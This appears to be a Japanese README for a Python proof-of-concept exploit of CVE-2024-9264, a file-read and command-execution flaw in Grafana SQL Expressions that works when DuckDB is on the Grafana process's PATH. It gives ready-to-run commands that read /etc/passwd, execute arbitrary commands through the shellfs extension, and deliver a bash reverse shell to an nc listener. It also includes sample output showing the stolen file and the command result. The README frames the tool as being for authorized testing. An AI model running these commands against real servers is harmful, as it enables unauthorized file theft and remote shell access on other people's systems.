
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
CVE-2024-9264 は、Grafana プロセスの PATH に duckdb が存在する場合に、認証済みのローカルファイルインクルージョンとコマンド実行を可能にする Grafana SQL Expressions の脆弱性です。これはその Python による概念実証 (PoC) です。
認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob() を使用してファイルを読み取ります。コマンド実行が要求された場合は、最初にデフォルトの検証ファイルとして /etc/passwd が使用されます。shellfs をロードし、パイプバックされた read_csv() 呼び出しを通じてコマンドを実行します。/tmp/cve_2024_9264_out からコマンド出力を読み取り、デコードした結果を表示します。脆弱なエンドポイントは API 経由で直接呼び出すことができ、ダッシュボード UI の操作は必要ありません。ただし、認証は依然として必要です。



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
--file を単独で使用すると、スクリプトはそのファイルを直接読み取り、ファイル読み取り結果セクションにデコードした内容を表示します。
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
スクリプトはまずデフォルトの /etc/passwd ファイル読み取り検証を実行し、その後コマンドペイロードを配信します。結果セクションでは、生の Grafana JSON レスポンスの代わりにデコードしたコマンド出力を表示します。
リスナーを起動:
rlwrap nc -lvnp 4444
リバースシェルペイロードを送信:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
以下のオプションは現在のスクリプト CLI に基づいています:
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| 製品 | 影響を受けるバージョン | 必要なアクセス権 | 影響 |
|---|---|---|---|
| Grafana OSS / Enterprise | パッチ適用済みセキュリティリリース以前の Grafana 11.0.x、11.1.x、11.2.x | Viewer 以上 | Grafana の PATH に DuckDB が存在する場合のローカルファイルインクルージョンおよびコマンドインジェクション |
Grafana によると、悪用には duckdb バイナリが Grafana プロセスの PATH に存在する必要があります。通常の Grafana ディストリビューションには DuckDB はデフォルトではインストールされません。
shellfs 拡張機能の動作に依存します。-k または --insecure を指定してください。11.0.5+security-01、11.1.6+security-01、11.2.1+security-01、11.0.6+security-01、11.1.7+security-01、11.2.2+security-01 が含まれます。ozcanpng - github.com/ozcanpng - ozcanpng.dev